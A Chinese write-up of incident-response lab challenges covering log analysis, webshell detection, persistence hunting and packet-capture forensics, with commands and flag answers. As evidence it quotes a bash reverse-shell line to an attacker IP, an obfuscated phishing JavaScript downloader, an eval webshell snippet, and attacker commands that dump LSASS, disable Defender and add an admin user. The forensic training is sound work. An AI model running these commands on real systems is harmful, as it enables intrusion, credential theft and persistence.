应急响应

最近有一个应急响应的靶场,玄机应急响应,所以也就去研究研究应急响应相关的知识。

第一章-应急响应

Linux日志分析

https://blog.csdn.net/qq_50765147/article/details/135878715 相关资料链接

首先就是进入题目,ssh连接后,我们可以尝试去读取一下Linux日志文件

image-20240603210232034

任务一

第一个任务就是有多少IP在爆破主机ssh的root帐号,如果有多个使用”,”分割 小到大排序 例如flag{192.168.200.1,192.168.200.2}

第一个 Flag 的目标是查找爆破 SSH 服务 Root 账户的 IP,故这里我们需要分析 auth 日志,auth 日志常见于 Debian 系(这台靶机就是 Debian)

4-1715845855

这里 auth 日志有两条,分别是auth.logauth.log.1,我们的判断基础是这两个文件,其次这里我们需要判断出哪些爆破的是 Root 账号,所以需要搜索 “Failed password for root”

1
2
拓展:
.1 表示较早的日志文件,而没有 .1 的文件是当前的日志文件

使用grep去进行查找

1
cat /var/log/auth.log.1 /var/log/auth.log | grep -a "Failed password for root"

image-20240603210808371

使用awk进行ip提取

1
| awk '{print $11}'

使用sort排序,使用unip -c 进行去重,使用sort -nr进行降序排序

1
cat /var/log/auth.log.1 /var/log/auth.log | grep -a "Failed password for root" | awk '{print $11}' | uniq -c | sort -nr

image-20240603211111911

成功获取

1
2
3
4 192.168.200.2
1 192.168.200.32
1 192.168.200.31
1
flag{192.168.200.2,192.168.200.31,192.168.200.32}

任务二

2.ssh爆破成功登陆的IP是多少,如果有多个使用”,”分割

image-20240603211809586

这里成功找到登录成功会有Accepted出现,我们按上面做的那样即可

1
cat /var/log/auth.log.1 /var/log/auth.log | grep -a "Accepted" | awk '{print $11}' | uniq -c | sort -nr
1
2
2 192.168.200.2
1 221.130.58.74

这里要注意的是,221开头的ip是我们本机登录的ip,所以应该剔除掉

1
flag{192.168.200.2}

任务三

3.爆破用户名字典是什么?如果有多个使用”,”分割

直接还是提取

image-20240603213108197

1
cat /var/log/auth.log.1 /var/log/auth.log | grep -a "Failed password" | perl -e 'while($_=<>){ /for(.*?) from/; print "$1\n";}'| uniq -c | sort -nr

这里就可以直接拿到字典了

1
flag{user,hello,root,test3,test2,test1}

这里涉及到一个perl语言

任务四

4.成功登录 root 用户的 ip 一共爆破了多少次

其实第一问的时候已经看到了的

image-20240603214219501

直接出就行

1
cat /var/log/auth.log.1 /var/log/auth.log | grep -a "Failed password" | awk '{if($11=="192.168.200.2") print $11}'|sort|uniq -c

任务五

5.黑客登陆主机后新建了一个后门用户,用户名是多少

image-20240603214722593

在这个地方注意,黑客添加了test2这个用户作为后门

这里有一点要注意,后边有个debian用户的创建,这个是我们ssh连接的用户,不是黑客创建的

webshell查杀

任务一

黑客webshell里面的flag flag{xxxxx-xxxx-xxxx-xxxx-xxxx}

直接用d盾或者火绒即可

image-20240603234947461

直接就是找到是gz.php

image-20240603235135992

1
flag{027ccd04-5065-48b6-a32d-77c704a5e26d}

任务二

黑客使用的什么工具的shell github地址的md5 flag{md5}

直接搜索

image-20240603235243396

发现是哥斯拉

1
flag{39392de3218c333f794befef07ac9257}

任务三

黑客隐藏shell的完整路径的md5 flag{md5} 注 : /xxx/xxx/xxx/xxx/xxx.xxx

还是上面d盾也显示出来了

1
flag{aebac0e58cd6c5fad1695ee4d1ac1919}

任务四

4.黑客免杀马完整路径 md5 flag{md5}

还是一样的,之前都直接d盾扫出来了的

1
flag{eeff2eabfd9b7a6d26fc1a53d3f7d1de}

最后这总结一下,D盾真是好好用!!!!!!!!!!!!!!!!!

这里记录一下一些常见的webshell查杀工具

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
1。阿里伏魔
https://ti.aliyun.com/#/webshell
2、百度 WEBDIR+
https://scanner.baidu.com/#/pages/intro
3、河马
https://n.shellpub.com/
4、CloudWalker(牧云)
https://stack.chaitin.com/security-challenge/webshell
5、在线 webshell 查杀-灭绝师太版
http://tools.bugscaner.com/killwebshell/
6、WebShell Detector WebShell 扫描检测器
http://www.shelldetector.com/
7、D 盾
http://www.d99net.net
8、微步
https://threatbook.cn/next/product/sandbox

Linux入侵排查

任务一

1
1.web目录存在木马,请找到木马的密码提交

直接就是丢d盾里去就是

image-20240604143457279

1
flag{1}

任务二

1
服务器疑似存在不死马,请找到不死马的密码提交

直接就是.shell.php

1
flag{hello}

任务三

1
不死马是通过哪个文件生成的,请提交文件名

image-20240604143824876

很明显就能找到

1
flag{index.php}

任务四

1
黑客留下了木马文件,请找出黑客的服务器ip提交
1
flag{10.11.55.21}

任务五

1
黑客留下了木马文件,请找出黑客服务器开启的监端口提交
1
flag{3333}

这里直接两个一起做就行,我们发现在网页目录下有个shell.elf木马文件,我们可以直接去运行它,然后再去查看netstat即可

1
netstat -antlp
1
命令详解:

image-20240604165924985

image-20240604144504373

第二章-日志分析

apache日志分析

任务一

1
1、提交当天访问次数最多的IP,即黑客IP:
1
cat access.log access.log.1 | grep -a "03/Aug" | awk '{print $1}' | uniq -c | sort -nr

image-20240604150902123

直接找就行

1
flag{192.168.200.2}

任务二

1
黑客使用的浏览器指纹是什么,提交指纹的md5:

image-20240604151216742

发现浏览器指纹就是

1
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
1
flag{2d6330f380f44ac20f3a02eed0958f66}

任务三

1
cat access.log access.log.1 | grep -a "/index.php" | awk '{print $1}' |uniq -c

就是27次

1
flag{27}

任务四

1
查看黑客IP访问了多少次,提交次数:
1
cat access.log access.log.1 | grep -a "192.168.200.2 - -" |awk '{print $1}'|uniq -c

直接抓ip就行

1
flag{6555}

任务五

1
查看2023年8月03日8时这一个小时内有多少IP访问,提交次数:
1
cat access.log access.log.1 | grep -a "03/Aug/2023:08:" |awk '{print $1}'|sort | uniq -c

image-20240604152206000

1
flag{5}     5个ip

mysql应急响应

任务一

1
1.黑客第一次写入的shell flag{关键字符串} 

直接就是d盾扫描即可

image-20240604162746569

然后就找到了,在sh.php中

image-20240604162812922

1
flag{ccfda79e-7aa1-4275-bc26-a6189eb9a20b}

任务二

1
2.黑客反弹shell的ip flag{ip}

直接去查看mysql的日志去分析 /var/log/mysql/

image-20240604163143457

1
flag{192.168.100.13}

任务三

1
3.黑客提权文件的完整路径 md5 flag{md5} 注 /xxx/xxx/xxx/xxx/xxx.xx

还是之前的mysql日志,我们发现有一个敏感文件1.sh

我们尝试去找一下

image-20240604163448110

发现有两个,这一个就是反弹shell的

——到这里好像啥都没用

这里就应该去想一下我们应该是怎么攻击的,发现在 /var/www/html 目录下存在一个 common.php 文件,那么黑客应该是通过对网站进行目录探测的时候发现了此文件,恰好此文件还泄露了数据库的账号和密码,那么他的常规操作肯定是远程连接上了数据库后再从数据库作为切入点进行提权,mysql 的常见提权方式就是 UDF 提权
然后再根据UDF提权的特性

1
UDF 提权肯定会在 /usr/lib/mysql/plugin/ 路径下留下攻击痕迹

image-20240604163947174

成功知道路径

1
/usr/lib/mysql/plugin/udf.so
1
flag{b1818bde4e310f3d23f1005185b973e7}

任务四

1
4.黑客获取的权限 flag{whoami后的值}

直接查看

1
ps -aux
1
2
3
4
5
命令详解:
ps 查看进程状态
-a 显示所有用户的所有进程
-u 以一种面向用户的格式显示进程信息,包括用户 ID、CPU 使用率、内存使用率、命令名等。
-x 让 ps 命令显示没有控制终端的进程。

image-20240604164233769

可以看到是mysql权限

1
flag{mysql}

redis应急响应

任务一

1
通过本地 PC SSH到服务器并且分析黑客攻击成功的 IP 为多少,将黑客 IP 作为 FLAG 提交;

直接看日志,很容易就能发现一个ip多次出现

1
2
3
192.168.100.13出现次数较多明显是爆破
192.168.100.20是主从复制
flag{192.168.100.20}

任务二

1
通过本地 PC SSH到服务器并且分析黑客第一次上传的恶意文件,将黑客上传的恶意文件里面的 FLAG 提交;

image-20240605162903006

发现对应的恶意文件

1
./exp.so
1
flag{XJ_78f012d7-42fc-49a8-8a8c-e74c87ea109b}

任务三

1
通过本地 PC SSH到服务器并且分析黑客反弹 shell 的IP 为多少,将反弹 shell 的IP 作为 FLAG 提交;
1
crontab -l      查看定时任务

image-20240605163346550

直接就能发现flag

1
flag{192.168.100.13}

任务四

1
通过本地 PC SSH到服务器并且溯源分析黑客的用户名,并且找到黑客使用的工具里的关键字符串(flag{黑客的用户-关键字符串} 注关键字符串 xxx-xxx-xxx)。将用户名和关键字符串作为 FLAG提交

ssh账号登录需要写入ssh公钥,我们直接去root下的.ssh中查看一下是否有对应文件,发现是有的

image-20240605163742918

直接去读取一下,就拿到了用户名,使用用户名去github上搜索一下,就能找到flag所需的后一半

1
flag{xj-test-user-wow-you-find-flag}

image-20240605164129010

任务五

1
通过本地 PC SSH到服务器并且分析黑客篡改的命令,将黑客篡改的命令里面的关键字符串作为 FLAG 提交;

我们直接去查看一下

1
2
cd /usr/bin
ls -al

然后我们发现ps命令被修改,直接去读取发现flag

1
flag{c195i2923381905517d818e313792d196}

第三章-权限维持

linux权限维持-隐藏

任务一

1
黑客隐藏的隐藏的文件 完整路径md5

在/tmp/.temp/文件夹下发现libprocesshider,libprocesshider是用于隐藏文件的项目

打开 /tmp/.temp/libprocesshider/processhider.c

成功找到隐藏的文件1.py

image-20240605175637332

1
2
/tmp/.temp/libprocesshider/1.py
flag{109ccb5768c70638e24fb46ee7957e37}

任务二

1
黑客隐藏的文件反弹shell的ip+端口 {ip:port}

直接看1.py就行了

image-20240605175748138

1
flag{114.114.114.121:9999}

任务三

1
黑客提权所用的命令 完整路径的md5 flag{md5}

这里去联想linux提权,也就主要是两种提权,suid和su提权

对比而言,suid提权更可能点,我们尝试去试试

1
find / -perm -u=s -type f 2>/dev/null

image-20240605180004338

发现能够使用的find

1
2
/usr/bin/find
flag{7fd5884f493f4aaf96abee286ee04120}

任务四

1
黑客尝试注入恶意代码的工具完整路径md5

这里说实话有点不太理解,为什么就是opt目录下存在注入恶意代码的工具

cymothoa是后门工具

1
/opt/.cymothoa-1-beta/cymothoa
1
flag{087c267368ece4fcf422ff733b51aed9}

任务五

1
使用命令运行 ./x.xx 执行该文件 将查询的 Exec****** 值 作为flag提交 flag{/xxx/xxx/xxx}

题目问1.py的启动命令的可执行程序是什么,那么就是Python3,ls /usr/bin/python3 -al 看下软连接

再使用which去查找一下python的位置

1
/usr/bin/python3.4
1
flag{/usr/bin/python3.4}

第四章-windows实战

emlog

任务一

1
通过本地 PC RDP到服务器并且找到黑客植入 shell,将黑客植入 shell 的密码 作为 FLAG 提交;

可以直接使用D盾去分析一下网站根目录首先就是

image-20240606204835088

直接就是扫到后门

image-20240606204904710

发现直接就是有默认密码

1
flag{rebeyond}

任务二

1
通过本地 PC RDP到服务器并且分析黑客攻击成功的 IP 为多少,将黑客 IP 作为 FLAG 提交;

分析ip的话这里我们就可以去查看一下日志文件,因为这里的web服务器是Apache的

image-20240606205424797

拿到ip

1
flag{192.168.126.1}

这里有一点要注意的是,就是查看日志时需要稍微修改一下后缀才能使用记事本打开

任务三

1
通过本地 PC RDP到服务器并且分析黑客的隐藏账户名称,将黑客隐藏账户名称作为 FLAG 提交;

直接使用windows日志一键分析工具即可

image-20240606210839396

直接找到对应的敏感用户

1
flag{hacker138}
1
2024-02-29 10:13:06	hacker138$	EC2AMAZ-2OBTHUT	10	User32 	EC2AMAZ-2OBTHUT	C:\Windows\System32\svchost.exe	36.60.53.171	0	4624

任务四

1
通过本地 PC RDP到服务器并且分析黑客的挖矿程序的矿池域名,将黑客挖矿程序的矿池域名称作为(仅域名)FLAG 提交;

首先就是找到对应的敏感文件

我们可以去查看一下这个黑客用户下的文件

成功发现Kuang

运行后发现CPU直接爆,肯定就是一个挖矿病毒了,

使用pyinstxtractor进行反编译得到pyc文件

pyc在线解密

image-20240606212101801

成功获得矿池

1
flag{wakuang.zhigongshanfang.top}

向日葵

任务一

1
通过本地 PC RDP到服务器并且找到黑客首次攻击成功的时间为 为多少,将黑客首次攻击成功的时间为 作为 FLAG 提交(2028-03-26 08:11:25.123);

好难,第一个就不会写了这个

wordpress

任务一

1
请提交攻击者攻击成功的第一时间,格式:flag{YY:MM:DD hh:mm:ss}

直接就是看日志主要就是,这里是要看nginx的日志,不要被Apache服务给骗了,里面日志啥都没有

image-20240607152705305

1
flag{2023:04:29 22:45:23}

任务二

1
请提交攻击者的浏览器版本 flag{Firgfox/2200}

直接还是和上面一样的,这不 直接给了的

1
Firefox/110.0
1
flag{Firefox/110.0}

任务三

1
请提交攻击者目录扫描所使用的工具名称

这日志中直接有的

image-20240607153004452

1
Fuzz Faster U Fool
1
flag{Fuzz Faster U Fool}

任务四

1
找到攻击者写入的恶意后门文件,提交文件名(完整路径)

这也还是这个日志中,后边可以直接发现利用了这个后门文件的

image-20240607153145127

1
.x.php
1
flag{C:\phpstudy_pro\WWW\.x.php}

任务五

1
找到攻击者隐藏在正常web应用代码中的恶意代码,提交该文件名(完整路径)

直接就是扫一下就行,就能发现

image-20240607153825990

1
flag{C:\phpstudy_pro\WWW\usr\themes\default\post.php}

任务六

1
请指出可疑进程采用的自动启动的方式,启动的脚本的名字 flag{1.exe}

image-20240607154234119

这里主要是注意看修改日期,就能很明显发现这两个文件

而且bat文件内容就是启动那个exe,就很明显就能感觉出来是黑客留下的

1
flag{x.bat}

黑页&&篡改

开放类题目

1
2
请启动 phpstudy 后访问 127.0.0.1
具体要求已经在桌面 readme.png 本题为开放式题目,请访问 http://127.0.0.1/dedecms/index.php

image-20240607165458525

任务一

第一种就很简单的单纯添加html代码而已,删除即可

image-20240607165442183

任务二

image-20240607165935228

任务三

image-20240607170104646

image-20240607170053639

1.js

image-20240607170331722

任务四

image-20240607170316227

任务五

image-20240607170350816

image-20240607170415685

第五章-linux实战

Windows 实战-evtx 文件分析

任务一

1
1.将黑客成功登录系统所使用的IP地址作为Flag值提交;
1
flag{192.168.36.133}

筛选安全日志4624,登录成功,找最早登录的

image-20240608211122498

使用日志分析工具,筛选远程登录即可快速找到

任务二

1
2.黑客成功登录系统后修改了登录用户的用户名,将修改后的用户名作为Flag值提交;
1
flag{Adnimistartro}

主要就是找用户登录的日志即可

筛选安全日志4781,账户名称已更改

image-20240608213752997

使用事件id能够更快的去分析

image-20240608212250620

里面混了一个这不一样的

任务三

1
3.黑客成功登录系统后成功访问了一个关键位置的文件,将该文件名称(文件名称不包含后缀)作为Flag值提交;
1
SCHEMA

筛选安全日志4663,尝试访问对象 检测未经授权访问文件和文件夹的行为

image-20240608213623215

任务四

1
4.黑客成功登录系统后重启过几次数据库服务,将最后一次重启数据库服务后数据库服务的进程ID号作为Flag值提交;

根据上述黑客攻击的时间段,为2020年10月8日 筛选应用程序日志记录时间为2020年10月8日,来事件源为MySQL

image-20240608214745960

然后再搜索start找到最后一次启动mysql

image-20240608214808719

flag{8820}

任务五

1
5.黑客成功登录系统后修改了登录用户的用户名并对系统执行了多次重启操作,将黑客使用修改后的用户重启系统的次数作为Flag值提交。xxxxxxxxxx 5.黑客成功登录系统后修改了登录用户的用户名并对系统执行了多次重启操作,将黑客使用修改后的用户重启系统的次数作为Flag值提交。

筛选系统日志1074,计算机开机、关机、重启的时间、原因、注释

计算机为WIN-B1B1T3K57G9

CTRL+F 搜索Administratro,找对成对的记录,2次重启,1次关机

image-20240608215308905

也就是三对

1
flag{3}

linux实战-挖矿

任务一

1
黑客的IP是? flag格式:flag{黑客的ip地址},如:flag{127.0.0.1}

直接就是查看日志即可,全都是黑客的ip

1
/www/admin/websec_80/log/nginx_access_2023-12-22.log
1
flag{192.168.10.135}

任务二

1
黑客攻陷网站的具体时间是? flag格式:flag{年-月-日 时:分:秒},如:flag{2023-12-24 22:23:24}

dedecms弱口令进入后台:http://43.192.51.123:8081/dede/login.php?gotopage=%2Fdede%2F

这里可以通过日志去看出来,密码可以爆破一下即可

1
admin    12345678

image-20240610134100632

在账号处发现黑客的用户

即可知道对应的时间

1
flag{2023-12-22 19:08:34}

任务三

1
黑客上传webshell的名称及密码是? flag格式:flag{黑客上传的webshell名称-webshell密码},如:flag{webshell.php-pass}

直接就是将网站源码push下来使用d盾去扫描一下

直接就能有了

image-20240610140120996

image-20240610140148993

本地跑一下这一段即可

1
string(20) "eval($_POST['cmd']);"
1
flag{404.php-cmd}

任务四

1
黑客提权后设置的后门文件名称是? flag格式:flag{后门文件绝对路径加上名称},如:flag{/etc/passwd}

直接使用history命令查看历史命令执行

image-20240610135029337

发现是使用了suid提权find命令

1
flag{/usr/bin/find}

任务五

1
对黑客上传的挖矿病毒进行分析,获取隐藏的Flag

挖矿病毒的话一般情况都是计划任务中定时执行,我们就去查看一下计划任务

image-20240610135737910

发现下载了一个ldm估计就是挖矿程序了

查找一下

image-20240610135810644

看到很明显的base64编码

image-20240610135903751

image-20240610135942248

解码成功获得flag

1
flag{websec_True@888!}

linux实战-挖矿 二

百度网盘附件,下的贼慢

linux实战-CMS01

任务一

1
通过本地 PC SSH到服务器并且分析黑客的 IP 为多少,将黑客 IP 作为 FLAG 提交;

直接就是查看最近的登录日志即可

1
grep "Accepted " /var/log/secure | awk '{print $1,$2,$3,$9,$11}'

image-20240611202335297

即可得知黑客的ip是

1
flag{192.168.20.1}

任务二

1
通过本地 PC SSH到服务器并且分析黑客修改的管理员密码(明文)为多少,将黑客修改的管理员密码(明文) 作为 FLAG 提交;

我们首先就是可以去查看一下有哪些服务运行了

1
netstat -anlupt

image-20240611202954349

发现mysql服务,这个时候我们就可以去寻找一下mysql的配置文件拿到账号密码

image-20240611203209610

成功找到对应的账号密码

1
/www/wwwroot/127.0.0.1/lib/config.inc.php
1
kaoshi 5Sx8mK5ieyLPb84m

然后就可以去连接mysql数据库

去查询

image-20240611203950735

发现id为1的为管理员

然后就是再去查询用户

1
select * from x2_user

image-20240611204250756

成功拿到明文密码

1
2
这里推荐一个md5解密的网站,https://www.chamd5.org/
比cmd5好用不少,主要是不用会员啥的
1
Network@2020
1
flag{Network@2020}

任务三

1
通过本地 PC SSH到服务器并且分析黑客第一次Webshell的连接URL为多少,将黑客第一次Webshell的连接URL作为 FLAG 提交(无需域名flag{xxx.php?abc-app-upload});

在root目录下发现了有数据包,我们就可以使用wireshark去分析一下

直接就是能够发现连接的URL

image-20240611205455562

1
flag{index.php?user-app-register}

任务四

1
通过本地 PC SSH到服务器并且分析黑客Webshell连接密码多少,将黑客Webshell连接密码 作为 FLAG 提交;

直接就是追踪流,发现

image-20240611205832288

解码一下,得到对应的代码

image-20240611205855950

分析可以发现是

1
@ini_set("display_errors","0");这段代码基本是所有WebShell客户端链接PHP类

所以就是可以知道密码就是

1
Network2020
1
flag{Network2020}

任务五

1
通过本地 PC SSH到服务器并且分析黑客使用的后续上传的木马文件名称为多少,将黑客使用的后续上传的木马文件名称 作为 FLAG 提交;

就在流量分析界面很容易能够发现就是version2.php这个文件

image-20240611210621885

1
flag{version2.php}

任务六

1
通过本地 PC SSH到服务器并且分析黑客隐藏的flag2,将黑客使隐藏的flag2 作为 FLAG 提交;

梳理一下前面的内容

攻击在/www/wwwroot/127.0.0.1/目录下创建了flag1 文件并写入flag,然后写入一个新的木马,再改名为version2.php

这里我们猜测就是上传木马后去getshell了,我们可以使用history查看一下命令执行

image-20240611212251131

发信应该就是在mpnotify.php中

1
cat /www/wwwroot/127.0.0.1/.api/alinotify.php

image-20240611212454084

成功拿到flag

1
flag{bL5Frin6JVwVw7tJBdqXlHCMVpAenXI9In9}

任务七

1
通过本地 PC SSH到服务器并且分析黑客隐藏的flag3,将黑客使隐藏的flag3 作为 FLAG 提交;

刚刚上面也是直接看到了的

1
flag{5LourqoFt5d2zyOVUoVPJbOmeVmoKgcy6OZ}

linux实战-黑链

任务一

1
找到黑链添加在哪个文件 flag 格式 flag{xxx.xxx}

直接将文件下载下来,使用文本搜索关键字“黑链”很快就能找到

image-20240612155110934

1
flag{header.php}

任务二

1
webshell的绝对路径 flag{xxxx/xxx/xxx/xxx/}

直接就是使用D盾去扫描一下即可

image-20240612155247623

后门也就是

1
\var\www\html\usr\themes\default\404.php
1
flag{/var/www/html/usr/themes/default/404.php}

任务三

1
黑客注入黑链文件的 md5 md5sum file flag{md5}

直接就是使用md5sum即可

image-20240612155646368

1
10c18029294fdec7b6ddab76d9367c14
1
flag{10c18029294fdec7b6ddab76d9367c14}

任务四

1
攻击入口是哪里?url请求路径,最后面加/ flag{/xxxx.xxx/xxxx/x/}

这里的话我们就可以尝试去对数据包进行流量分析

image-20240612160018499

发现这里去加载poc1.js

image-20240612160057491

我们能够很容易发现是xss漏洞,查找一番发现是typecho的对应漏洞

Typecho1.2 - 1.2.1-rc前台评论存储xss到rce 漏洞复现-分析-修复 - JunBlog

这里我们也就知道了对应的路径了

image-20240612160242078

1
flag{/index.php/archives/1/}

第六章 流量特征分析

蚁剑流量分析

任务一

1
1.木马的连接密码是多少

发现附件是一个流量包,我们直接使用Wireshark去分析即可

首先就是找连接密码,这个肯定就是http请求的相关

1
http contains "200"

image-20240614160321164

直接就是能够发现是蚁剑的流量

image-20240614162932648

1
flag{1}

任务二

1
2.黑客执行的第一个命令是什么

image-20240614171146710

点击显示分组字节

然后使用base64解密即可

1
flag{id}

任务三

1
3.黑客读取了哪个文件的内容,提交文件绝对路径

image-20240614173147960

第三个http请求包中即可

1
flag{/etc/passwd}

任务四

1
黑客上传了什么文件到服务器,提交文件名

第四个请求包

image-20240614175654256

1
flag{flag.txt}

任务五

1
黑客上传的文件内容是什么

直接就还是第四个http包,跟踪一下http流即可

image-20240614180642326

将数据包解码一下

image-20240614180835252

猜测这一串就是数据

image-20240614180853189

1
flag{write_flag}

任务六

1
黑客下载了哪个文件,提交文件绝对路径

最后一个http请求包中可以找到

image-20240614181441944

1
flag{/var/www/html/config.php}

这道题完全就是http流量分析

常见攻击事件 tomcat

任务一

1
在web服务器上发现的可疑活动,流量分析会显示很多请求,这表明存在恶意的扫描行为,通过分析扫描的行为后提交攻击者IP flag格式:flag{ip},如:flag{127.0.0.1}

能够发现大量的SYN的包,nmap的扫描就是SYN,所以也就能够得到ip

image-20240614235450104

1
flag{14.0.0.120}

任务二

1
找到攻击者IP后请通过技术手段确定其所在地址 flag格式: flag{城市英文小写}

直接就是信息收集的知识,我们直接查ip首先就是

1
flag{guangzhou}

image-20240615000628313

任务三

1
哪一个端口提供对web服务器管理面板的访问? flag格式:flag{2222}

直接就是过滤出来http的

随便追踪一个http流,就知道对应的端口了

image-20240615000805842

1
flag{8080}

任务四

1
经过前面对攻击者行为的分析后,攻击者运用的工具是? flag格式:flag{名称}

这里就可以通过去分析UA头即可

image-20240615000941609

1
flag{gobuster}

任务五

1
攻击者拿到特定目录的线索后,想要通过暴力破解的方式登录,请通过分析流量找到攻击者登录成功的用户名和密码? flag格式:flag{root-123}

一般登录请求都是采用post请求,我们就找post方法即可

很容易就能找到

image-20240615002118674

发现权限验证,猜测应该是base64编码,我们解码一下

image-20240615002155451

成功获得账号密码

1
flag{admin-tomcat}

任务六

1
攻击者登录成功后,先要建立反弹shell,请分析流量提交恶意文件的名称? flag格式:flag{114514.txt}

还是就是在上面的post包里面,直接就是有的

image-20240615002713403

1
flag{JXQOZY.war}

任务七

1
攻击者想要维持提权成功后的登录,请分析流量后提交关键的信息? flag提示,某种任务里的信息

通过跟踪流9461能够发现一个反弹shell的权限维持

image-20240615003527468

1
flag{/bin/bash -c 'bash -i >& /dev/tcp/14.0.0.120/443 0>&1'}

小王公司收到的钓鱼邮件

任务一

1
下载数据包文件 hacker1.pacapng,分析恶意程序访问了内嵌 URL 获取了 zip 压缩包,该 URL 是什么将该 URL作为 FLAG 提交 FLAG(形式:flag{xxxx.co.xxxx/w0ks//?YO=xxxxxxx}) (无需 http、https);

很容易就能够发现的这个,直接就是过滤出来http包就有了

image-20240615200459366

1
flag{tsdandassociates.co.sz/w0ks//?YO=1702920835}

任务二

1
下载数据包文件 hacker1.pacapng,分析获取到的 zip 压缩包的 MD5 是什么 作为 FLAG 提交 FLAG(形式:flag{md5});

直接就是在返回包中吧压缩包下载下来改下后缀

image-20240615201106892

然后去计算一下md5值就行

1
flag{F17DC5B1C30C512137E62993D1DF9B2F}

任务三

1
下载数据包文件 hacker1.pacapng,分析 zip 压缩包通过加载其中的 javascript 文件到另一个域名下载后续恶意程序, 该域名是什么?提交答案:flag{域名}(无需 http、https)

image-20240615201237513

很明显的就是能够看到有各种字符,感觉应该就是拼接

其中一段如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
o457607380 = '';
o457607380+='h';
o457607380+='t';
o457607380+='t';
o457607380+='p';
o457607380+='s';
o457607380+=':';
o457607380+='/';
o457607380+='/';
o457607380+='s';
o457607380+='h';
o457607380+='a';
o457607380+='k';
o457607380+='y';
o457607380+='a';
o457607380+='s';
o457607380+='t';
o457607380+='a';
o457607380+='t';
o457607380+='u';
o457607380+='e';
o457607380+='s';
o457607380+='t';
o457607380+='r';
o457607380+='a';
o457607380+='d';
o457607380+='e';
o457607380+='.';
o457607380+='c';
o457607380+='o';
o457607380+='m';
o457607380+='/';
o457607380+='A';
o457607380+='6';
o457607380+='F';
o457607380+='/';
o457607380+='6';
o457607380+='1';
o457607380+='6';
o457607380+='2';
o457607380+='3';
o457607380+='1';
o457607380+='6';
o457607380+='0';
o457607380+='3';
l988241708 = '';
l988241708+='q';
l988241708+='u';
l988241708+='i';
l988241708+='.';
l988241708+='q';
1
https://shakyastatuestrade.com/A6F/616231603
1
flag{shakyastatuestrade.com}

waf 上的截获的黑客攻击流量

任务一

1
黑客成功登录系统的密码 flag{xxxxxxxxxxxxxxx}

这里就是可以直接过滤出来http的post请求,然后就去找登录的账号密码,由于前面的数据都是进行对应账号的寻找的,没什么用,所以我们从后边去开始找就行

image-20240615210444170

1
flag{admin!@#pass123}

任务二

1
黑客发现的关键字符串 flag{xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx}

说实话这个是真的不知道有啥启发式搜索去找到flag

image-20240615211323254

找到一个flag,但发现是错误的

image-20240615211716126

发现这个才是正确的

1
flag{87b7cb79481f317bde90c116cf36084b}

任务三

1
黑客找到的数据库密码 flag{xxxxxxxxxxxxxxxx}

直接就是过滤搜索database即可

image-20240615211931634

1
flag{e667jUPvJjXHvEUv}

蚂蚁爱上树

任务一

1
管理员Admin账号的密码是什么?

直接就是打开流量包,因为要找的是账号密码,这个时候我们肯定首先就是想到的http的post请求包

image-20240616195528873

我们发现在/onlineshop/product2.php这个路由中post传递了很多base64加密后的数据

我们就依次去分析即可

image-20240616200019409

将所有的找出来解码得到

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
C:/phpStudy/PHPTutorial/WWW/onlineshop/database/onlineshop.sql
cd /d “C:/phpStudy/PHPTutorial/WWW/onlineshop”&ls&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&dir&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&whoami&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&whoami /priv&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&systeminfo&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&dir c:&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&dir c:\temp&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&net user&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&net localgroup administrators&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&net group “domain group” /domain&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&net group “domain admins” /domain&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&net view&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&net share&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&rundll32.exe comsvcs.dll, MiniDump 852 C:\Temp\OnlineShopBackup.zip full&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&dir c:\temp&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&ls&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&dir&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”© store.php c:\temp&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&dir c:\temp&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&powershell -ep bypass Set-Mppreference -DisableRaltimeMonitoring $true&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&rundll32.exe comsvcs.dll, MiniDump 852 C:\temp\OnlineShopBackup.zip full&echo [S]&cd&echo [E]
C:/Temp/OnlineShopBack.zip
cd /d “C:/phpStudy/PHPTutorial/WWW/onlineshop”&dir c:\windows\system32&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&dir c:\windows\config&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&net user&echo [S]&cd&echo [E]
cd /d “C:\phpStudy\PHPTutorial\WWW\onlineshop”&net user admin Password1 /add&echo [S]&cd&echo [E]
